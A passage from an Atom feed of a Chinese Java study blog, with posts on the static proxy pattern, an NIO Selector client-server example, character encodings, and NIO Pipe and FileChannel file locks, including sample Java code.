    <link href="https://blog.chuncui.icu/2020/06/15/java%20%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86-jdk%E4%BB%A3%E7%90%86/"/>
    <published>2020-06-15T12:11:22.000Z</published>
    <summary>一、jdk动态代理动态代理分为jdk动态代理和cglib动态代理,本章讲解jdk动态代理 二、jdk动态代理如何实现 实现InvorcationHander接口,在invoke()方法实现增强 通过Proxy.newProxyInstance()方法获取到代理类 调用代理引用调用目标方法实现曾江 三、代码实现12345……</summary>
    <title>java 基础知识 动态代理 jdk代理</title>
    <updated>2021-05-04T06:28:27.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>邓纯粹</name>
    </author>
    <category term="java" scheme="https://blog.chuncui.icu/categories/java/"/>
    <category term="java基础" scheme="https://blog.chuncui.icu/tags/java%E5%9F%BA%E7%A1%80/"/>
    <category term="静态代理" scheme="https://blog.chuncui.icu/tags/%E9%9D%99%E6%80%81%E4%BB%A3%E7%90%86/"/>
    <content>
      <![CDATA[<h3 id="一、什么是代理模式"><a href="#一、什么是代理模式" class="headerlink" title="一、什么是代理模式"></a>一、什么是代理模式</h3><ul><li>定义<br>给目标对象提供一个代理对象,由代理对象操作目标对象的引用。</li><li>目的<br>通过操作代理对象,操作目标对象,降低程序的复杂性,可以使用代理类实现目标对象的增强。不改变目标对象实现功能则增加。代理模式的结构图</li></ul><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image-c4b34c32767f4621a2cfc188a670c1fa.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 1 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">graph LR;</span><br><span class="line">bwmcar--&gt;car</span><br><span class="line">bwmcar--&gt;bwmproxy</span><br><span class="line">bwmproxy--&gt;car</span><br></pre></td></tr></table></figure><h3 id="二、java实现"><a href="#二、java实现" class="headerlink" title="二、java实现"></a>二、java实现</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">//定义一个接口</span><br><span class="line">public interface Car &#123;</span><br><span class="line">    public void run() ;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">//定义宝马车实现类</span><br><span class="line">public class BmwCar implements Car &#123;</span><br><span class="line">    public void run() &#123;</span><br><span class="line">        System.out.println(&quot;我是一个宝马车&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">//定义宝马车实现类</span><br><span class="line">public class BmwCarProxy implements Car &#123;</span><br><span class="line">    //代理类拥有目标对象的引用</span><br><span class="line">    private BmwCar bmwCar;</span><br><span class="line"></span><br><span class="line">    public void proxy(BmwCar bmwCar) &#123;</span><br><span class="line">        this.bmwCar = bmwCar;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public void run() &#123;</span><br><span class="line">        System.out.println(&quot;增强前&quot;);</span><br><span class="line">        bmwCar.run();</span><br><span class="line">        System.out.println(&quot;增强后&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">public static void main(String[] args) &#123;</span><br><span class="line">       BmwCar bmwCar =new BmwCar();</span><br><span class="line">       BmwCarProxy proxy =new BmwCarProxy();</span><br><span class="line">       proxy.proxy(bmwCar);</span><br><span class="line"> //调用代理类的方法</span><br><span class="line">     proxy.run();</span><br><span class="line">   &#125;</span><br></pre></td></tr></table></figure><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image-a5e40f4c878a462e84697245290394f1.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 2 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><h3 id="三、总结"><a href="#三、总结" class="headerlink" title="三、总结"></a>三、总结</h3><ol><li>静态代理模式可以在不改变目标对象的前提下,对目标对象实现方法的增加</li><li>每次增加增强方法都需要修改代码,违反开闭原则,扩展能力可维护性查</li></ol>]]>
    </content>
    <id>https://blog.chuncui.icu/2020/06/11/%20java%20%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-%E9%9D%99%E6%80%81%E4%BB%A3%E7%90%86/</id>
    <link href="https://blog.chuncui.icu/2020/06/11/%20java%20%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-%E9%9D%99%E6%80%81%E4%BB%A3%E7%90%86/"/>
    <published>2020-06-11T11:11:12.000Z</published>
    <summary>
      <![CDATA[一、什么是代理模式 定义给目标对象提供一个代理对象,由代理对象操作目标对象的引用。 目的通过操作代理对象,操作目标对象,降低程序的复杂性,可以使用代理类实现目标对象的增强。不改变目标对象实现功能则增加。代理模式的结构图 1234graph LR;bwmcar-->car bwmcar-->bwmproxy bwmpro……]]>
    </summary>
    <title>java 基础知识 静态代理</title>
    <updated>2021-05-04T06:11:41.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>邓纯粹</name>
    </author>
    <category term="NIO 系列" scheme="https://blog.chuncui.icu/categories/NIO-%E7%B3%BB%E5%88%97/"/>
    <category term="java基础" scheme="https://blog.chuncui.icu/tags/java%E5%9F%BA%E7%A1%80/"/>
    <category term="NIO" scheme="https://blog.chuncui.icu/tags/NIO/"/>
    <content>
      <![CDATA[<h3 id="一、概念"><a href="#一、概念" class="headerlink" title="一、概念"></a>一、概念</h3><p>选择器（selector）是selectableChannel对象的多路复用器,一个selector可以监控多个selectableChannel的io情况,selector可以实现一个线程单独管理多个channel,selector是非阻塞的核心</p><h3 id="二、selector可以监控的事件类型"><a href="#二、selector可以监控的事件类型" class="headerlink" title="二、selector可以监控的事件类型"></a>二、selector可以监控的事件类型</h3><ol><li>connect 客户端连接服务端事件</li><li>accept 服务端接受服务端事件</li><li>read 读事件</li><li>write 写事件</li></ol><p>每次请求都是从客户端连接服务端(connect),服务端开始准备(accept),准备完成后开始读数据,处理完成之后再写数据</p><h3 id="三、selector的常用方法"><a href="#三、selector的常用方法" class="headerlink" title="三、selector的常用方法"></a>三、selector的常用方法</h3><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image-22c6aa2f552a4064b9f051c9520d9917.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 1 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><h3 id="四、nio-的例子"><a href="#四、nio-的例子" class="headerlink" title="四、nio 的例子"></a>四、nio 的例子</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br></pre></td><td class="code"><pre><span class="line">//服务端</span><br><span class="line">public class NioServer &#123;</span><br><span class="line">    private ServerSocketChannel serverSocketChannel;</span><br><span class="line">    private Selector selector;</span><br><span class="line">    private Integer port = 8080;</span><br><span class="line"></span><br><span class="line">    NioServer() &#123;</span><br><span class="line">        try &#123;</span><br><span class="line">            serverSocketChannel = ServerSocketChannel.open().bind(new InetSocketAddress(port));</span><br><span class="line">            //设置非阻塞</span><br><span class="line">            serverSocketChannel.configureBlocking(false);</span><br><span class="line">            //创建Selector</span><br><span class="line">            selector = Selector.open();</span><br><span class="line">            //注册tcp 连接事件到 channel</span><br><span class="line">            serverSocketChannel.register(selector, SelectionKey.OP_ACCEPT);</span><br><span class="line">            System.out.println(&quot;服务端初始化完成,端口号:&quot; + port);</span><br><span class="line">        &#125; catch (Exception ex) &#123;</span><br><span class="line">            throw new RuntimeException(&quot;初始化服务端失败,ex:&quot;+ex);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    private void start() &#123;</span><br><span class="line">        try &#123;</span><br><span class="line">            //获取查看selector 管理多少个channel</span><br><span class="line">            while (selector.select() &gt; 0) &#123;</span><br><span class="line">                //走到这里肯定是selector发现channel有变化了,这个大哥把他管理的sekectedKeys拿出来遍历</span><br><span class="line">                Set&lt;SelectionKey&gt; selectionKeys = selector.selectedKeys();</span><br><span class="line">                Iterator&lt;SelectionKey&gt; iterator = selectionKeys.iterator();</span><br><span class="line">                while (iterator.hasNext()) &#123;</span><br><span class="line">                    SelectionKey selectionKey = iterator.next();</span><br><span class="line">                    //selector 也不知道是什么变化所以就 各种判断一下,是 创建连接、还是准备就绪、还是读取数据、还是写数据、还是关闭连接</span><br><span class="line">                    if (selectionKey.isConnectable()) &#123;</span><br><span class="line">                        System.out.println(&quot;用户建立连接&quot;);</span><br><span class="line">                    &#125;</span><br><span class="line">                    if (selectionKey.isAcceptable()) &#123;</span><br><span class="line">                        System.out.println(&quot;用户准备就绪&quot;);</span><br><span class="line">                        ServerSocketChannel serverSocketChannel = (ServerSocketChannel) selectionKey.channel();</span><br><span class="line">                        //这样就拿到了发生变化的 socketChannel</span><br><span class="line"></span><br><span class="line">                        SocketChannel accept = serverSocketChannel.accept();</span><br><span class="line">                        accept.configureBlocking(false);</span><br><span class="line">                        //把客户端的channel 注册到 selector 当客户端的socketChannel发生变化出发读逻辑</span><br><span class="line">                        accept.register(selector, SelectionKey.OP_READ);</span><br><span class="line">                    &#125;</span><br><span class="line">                    if (selectionKey.isReadable()) &#123;</span><br><span class="line">                        System.out.println(&quot;读数据&quot;);</span><br><span class="line">                        SocketChannel socketChannel = (SocketChannel) selectionKey.channel();</span><br><span class="line">                        //读数据得是由buffer</span><br><span class="line">                        ByteBuffer byteBuffer = ByteBuffer.allocate(1024);</span><br><span class="line">                        //切换到读模式</span><br><span class="line">                        StringBuffer sb = new StringBuffer();</span><br><span class="line">                        while (socketChannel.read(byteBuffer) != -1) &#123;</span><br><span class="line">                            byteBuffer.flip();</span><br><span class="line">                            sb.append(StandardCharsets.UTF_8.decode(byteBuffer));</span><br><span class="line">                            byteBuffer.clear();</span><br><span class="line">                        &#125;</span><br><span class="line">                        System.out.println(&quot;来自客户端的问候:&quot; + sb.toString());</span><br><span class="line">                        //来个写数据吧</span><br><span class="line">                        socketChannel.register(selector,SelectionKey.OP_WRITE);</span><br><span class="line">                    &#125;</span><br><span class="line">                    if (selectionKey.isWritable()) &#123;</span><br><span class="line">                        System.out.println(&quot;写数据&quot;);</span><br><span class="line">                        System.out.println(&quot;不会写数据&quot;);</span><br><span class="line">                        selectionKey.channel().close();</span><br><span class="line">                    &#125;</span><br><span class="line">                    if (selectionKey.isValid()) &#123;</span><br><span class="line">                        System.out.println(&quot;关闭数据&quot;);</span><br><span class="line">                    &#125;</span><br><span class="line">                    //把当前的selection移除,因为后面事件还会加入</span><br><span class="line">                    iterator.remove();</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; catch (Exception ex) &#123;</span><br><span class="line">            throw new RuntimeException(&quot;服务异,ex:&quot;, ex);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public static void main(String[] args) &#123;</span><br><span class="line">        //先定义服务端</span><br><span class="line">        NioServer nioServer = new NioServer();</span><br><span class="line">        //开启服务</span><br><span class="line">        nioServer.start();</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">//客户端</span><br><span class="line">public class NioClint &#123;</span><br><span class="line"></span><br><span class="line">    public static void main(String[] args) throws IOException &#123;</span><br><span class="line">        SocketChannel open = SocketChannel.open();</span><br><span class="line">        open.connect(new InetSocketAddress(&quot;127.0.0.1&quot;,8080));</span><br><span class="line">        open.configureBlocking(false);</span><br><span class="line">        ByteBuffer byteBuffer =ByteBuffer.allocate(1024);</span><br><span class="line">        byteBuffer.flip();</span><br><span class="line">        String msg =&quot;呵呵,你大爷&quot;;</span><br><span class="line">        byteBuffer = ByteBuffer.wrap(msg.getBytes(&quot;utf-8&quot;));</span><br><span class="line">        open.write(byteBuffer);</span><br><span class="line">        byteBuffer.clear();</span><br><span class="line">        Socket socket = open.socket();</span><br><span class="line">        SocketChannel channel = socket.getChannel();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://blog.chuncui.icu/2020/05/30/java%20NIO%E7%9B%B8%E5%85%B3(%E4%B8%83)%20nio%20selector(channel%20%E7%9A%84%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8%E5%99%A8)/</id>
    <link href="https://blog.chuncui.icu/2020/05/30/java%20NIO%E7%9B%B8%E5%85%B3(%E4%B8%83)%20nio%20selector(channel%20%E7%9A%84%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8%E5%99%A8)/"/>
    <published>2020-05-30T10:21:13.000Z</published>
    <summary>一、概念选择器（selector）是selectableChannel对象的多路复用器,一个selector可以监控多个selectableChannel的io情况,selector可以实现一个线程单独管理多个channel,selector是非阻塞的核心 二、selector可以监控的事件类型 connect 客户端……</summary>
    <title>java NIO 相关(七) nio selector channel 的多路复用器</title>
    <updated>2021-05-04T06:30:27.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>邓纯粹</name>
    </author>
    <category term="java" scheme="https://blog.chuncui.icu/categories/java/"/>
    <category term="字符集" scheme="https://blog.chuncui.icu/tags/%E5%AD%97%E7%AC%A6%E9%9B%86/"/>
    <category term="utf-8" scheme="https://blog.chuncui.icu/tags/utf-8/"/>
    <content>
      <![CDATA[<h3 id="字符集相关概念"><a href="#字符集相关概念" class="headerlink" title="字符集相关概念"></a>字符集相关概念</h3><p>编码： 字符串-&gt;字节数组</p><p>解码：字节数组-&gt;字符串</p><h3 id="相关字符集介绍"><a href="#相关字符集介绍" class="headerlink" title="相关字符集介绍"></a>相关字符集介绍</h3><ul><li><p>ASCII (american standard code for information interchange 美国信息交换标准代码)7 bit 表示来表示一个字符，共计可以表示128中字符</p></li><li><p>Ios-8859-1 8 bit 表示一个字符 ，即使用一个字节 8 bit表示一个字符 共计可以表示 256个字符</p></li><li><p>Gb2312 2个字节表示一个汉字</p></li><li><p>Gbk 对 Gb2312的扩展 支持生僻字</p></li><li><p>Gb18030 表示汉字最多的</p></li><li><p>Big5 繁体中文</p></li><li><p>Unicode 最广泛的编码，两个字节表示一个字符 包含全球所有文字</p></li></ul><p>缺点 ： 存储空间会变大(英文国家)</p><ul><li><p>Utf unicode是一个编码方式，而utf是一个存储方式 utf-8 是unicode的实现方式之一</p></li><li><p>Utf-16LE(小端) UTF16BE(大端)</p><p>文件起始位置 0xFEFF (BE) 0XFFFE(LE)</p></li><li><p>Utf-8 变长字节表示形式</p></li></ul><p>一般来说，utf-8 会通过3个字节表示一个中文</p>]]>
    </content>
    <id>https://blog.chuncui.icu/2020/05/25/%20java%20%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E7%82%B9-%E5%AD%97%E7%AC%A6%E9%9B%86md/</id>
    <link href="https://blog.chuncui.icu/2020/05/25/%20java%20%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E7%82%B9-%E5%AD%97%E7%AC%A6%E9%9B%86md/"/>
    <published>2020-05-25T07:05:48.000Z</published>
    <summary>
      <![CDATA[字符集相关概念编码： 字符串->字节数组 解码：字节数组->字符串 相关字符集介绍 ASCII (american standard code for information interchange 美国信息交换标准代码)7 bit 表示来表示一个字符，共计可以表示128中字符 Ios-8859-1 8 bit 表示一……]]>
    </summary>
    <title>java 基础知识 字符集</title>
    <updated>2021-05-04T06:13:19.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>邓纯粹</name>
    </author>
    <category term="NIO 系列" scheme="https://blog.chuncui.icu/categories/NIO-%E7%B3%BB%E5%88%97/"/>
    <category term="java基础" scheme="https://blog.chuncui.icu/tags/java%E5%9F%BA%E7%A1%80/"/>
    <category term="NIO" scheme="https://blog.chuncui.icu/tags/NIO/"/>
    <content>
      <![CDATA[<h3 id="一、pipe"><a href="#一、pipe" class="headerlink" title="一、pipe"></a>一、pipe</h3><h4 id="概念"><a href="#概念" class="headerlink" title="概念"></a>概念</h4><p>pipe 是nio管道2个线程之前的单项数据连接。<br>pipe 有2个通道一个是source通道一个是sink通道<br>数据会写入到source通道从sink通道获取数据。如图：\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image-bd9f6b5abebf408b8ce8935ceb5fe357.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 1 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><h4 id="代码实现"><a href="#代码实现" class="headerlink" title="代码实现"></a>代码实现</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line">public class PipeTest &#123;</span><br><span class="line">public static void main(String[] args) &#123;</span><br><span class="line"></span><br><span class="line">    Pipe pipe = null;</span><br><span class="line">    ExecutorService exec =  Executors.newFixedThreadPool(2);</span><br><span class="line">try &#123;</span><br><span class="line">    pipe = Pipe.open();</span><br><span class="line">    final Pipe pipeTemp = pipe;</span><br><span class="line">    exec.submit(new Callable&lt;Object&gt;() &#123; @Override</span><br><span class="line">        public Object call() throws Exception &#123;</span><br><span class="line">        Pipe.SinkChannel sinkChannel = pipeTemp.sink();//向通道中写</span><br><span class="line">    while (true) &#123;</span><br><span class="line">        TimeUnit.SECONDS.sleep(1);</span><br><span class="line">        String newData = &quot;Pipe Test At Time &quot; +</span><br><span class="line">        System.currentTimeMillis();</span><br><span class="line">        ByteBuffer buf = ByteBuffer.allocate(1024);</span><br><span class="line">        buf.clear(); buf.put(newData.getBytes());       buf.flip();</span><br><span class="line">        while (buf.hasRemaining()) &#123;</span><br><span class="line">        System.out.println(buf);</span><br><span class="line">        sinkChannel.write(buf);</span><br><span class="line">       &#125;</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;);</span><br><span class="line">    exec.submit(new Callable&lt;Object&gt;() &#123;</span><br><span class="line">    @Override</span><br><span class="line">    public Object call() throws Exception &#123;Pipe.SourceChannel sourceChannel = pipeTemp.source();//向</span><br><span class="line">    while (true) &#123;</span><br><span class="line">    TimeUnit.SECONDS.sleep(1);</span><br><span class="line">    ByteBuffer buf = ByteBuffer.allocate(1024);</span><br><span class="line">    buf.clear();</span><br><span class="line">    int bytesRead = sourceChannel.read(buf);</span><br><span class="line">    System.out.println(&quot;bytesRead=&quot; + bytesRead);</span><br><span class="line">    while (bytesRead &gt; 0) &#123;</span><br><span class="line">    buf.flip();</span><br><span class="line">    byte b[] = new byte[bytesRead]; int i = 0;</span><br><span class="line">    while (buf.hasRemaining()) &#123;</span><br><span class="line">    b[i] = buf.get(); System.out.printf(&quot;%X&quot;, b[i]);</span><br><span class="line">    i++;</span><br><span class="line">    &#125;</span><br><span class="line">    String s = new String(b);</span><br><span class="line">    System.out.println(&quot;=================||&quot; + s);</span><br><span class="line">    bytesRead = sourceChannel.read(buf);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="二、FileChannel文件锁"><a href="#二、FileChannel文件锁" class="headerlink" title="二、FileChannel文件锁"></a>二、FileChannel文件锁</h3><p>在通道中我们可以对文件或者部分文件进行上锁。上锁和我们了解的线程锁差不多，都是为 了保证数据的一致性。在文件通道 FileChannel 中可以对文件进行上锁，通过 FileLock 可以 对文件进行锁的释放。 文件加锁是建立在文件通道(FileChannel)之上的，套接字通道(SockeChannel)不考虑文 件加锁，因为它是不共享的。<br>它对文件加锁有两种方式:</p><ol><li>lock</li><li>tryLock</li></ol><p>两种加锁方式默认都是对整个文件加锁，如果自己配置的话就可以控制加锁的文件范围: position 是加锁的开始位置，size 是加锁长度，shared 是用于控制该锁是共享的还是独占的。</p><ul><li>lock 是阻塞式的，当有进程对锁进行读取时会等待锁的释放，在此期间它会一直等待;</li><li>tryLock 是非阻塞式的，它尝试获得锁，如果这个锁不能获得，那么它会立即返回。</li></ul><p>release 可以释放锁。<br>在一个进程中在锁没有释放之前是无法再次获得锁的<br>在 java 的 NIO 中，通道包下面有一个 FileLock 类，它主要是对文件锁工具的一个描述。在 上一小节中对文件的锁获取其实是 FileChannel 获取的(lock 与 trylock 是 FileChannel 的方 法)，它们返回一个 FileLock 对象。</p><p>这个类的核心方法有如下这些:<br>boolean isShared() :判断锁是否为共享类型<br>abstract boolean isValid() :判断锁是否有效<br>boolean overlaps():判断此锁定是否与给定的锁定区域重叠 long position():返回文件内锁定区域中第一个字节的位置。<br>abstract void release() :释放锁<br>long size() :返回锁定区域的大小，以字节为单位</p><p>在文件锁中有 3 种方式可以释放文件锁:</p><ol><li>锁类释放锁，调用 FileLock 的 release 方法</li><li>通道类关闭通道，调用 FileChannel 的 close 方法</li><li>jvm 虚拟机会在特定情况释放锁。</li></ol><h3 id="锁类型-独占式和共享式"><a href="#锁类型-独占式和共享式" class="headerlink" title="锁类型(独占式和共享式)"></a>锁类型(独占式和共享式)</h3><p>我们先区分一下在文件锁中两种锁的区别:</p><ol><li>独占式的锁就想我们上面测试的那样，只要有一个进程获取了独占锁，那么别的进程只能等待。</li><li>共享锁在一个进程获取的情况下，别的 进程还是可以读取被锁定的文件，但是别的进程不能写只能读。</li></ol>]]>
    </content>
    <id>https://blog.chuncui.icu/2020/05/21/java%20NIO%E7%9B%B8%E5%85%B3(%E5%85%AD)%20pipe%20%E5%92%8C%20FileChannel%E6%96%87%E4%BB%B6%E9%94%81/</id>
    <link href="https://blog.chuncui.icu/2020/05/21/java%20NIO%E7%9B%B8%E5%85%B3(%E5%85%AD)%20pipe%20%E5%92%8C%20FileChannel%E6%96%87%E4%BB%B6%E9%94%81/"/>
    <published>2020-05-21T03:21:10.000Z</published>
    <summary>一、pipe概念 pipe 是nio管道2个线程之前的单项数据连接。 pipe 有2个通道一个是source通道一个是sink通道数据会写入到source通道从sink通道获取数据。如图： 代码实现1234567891011121314151617181920212223242526272829303132333435……</summary>
    <title>java NIO 相关(六) pipe 和 FileChannel文件锁</title>
    <updated>2021-05-04T06:30:10.000Z</updated>
  </entry>
</feed>
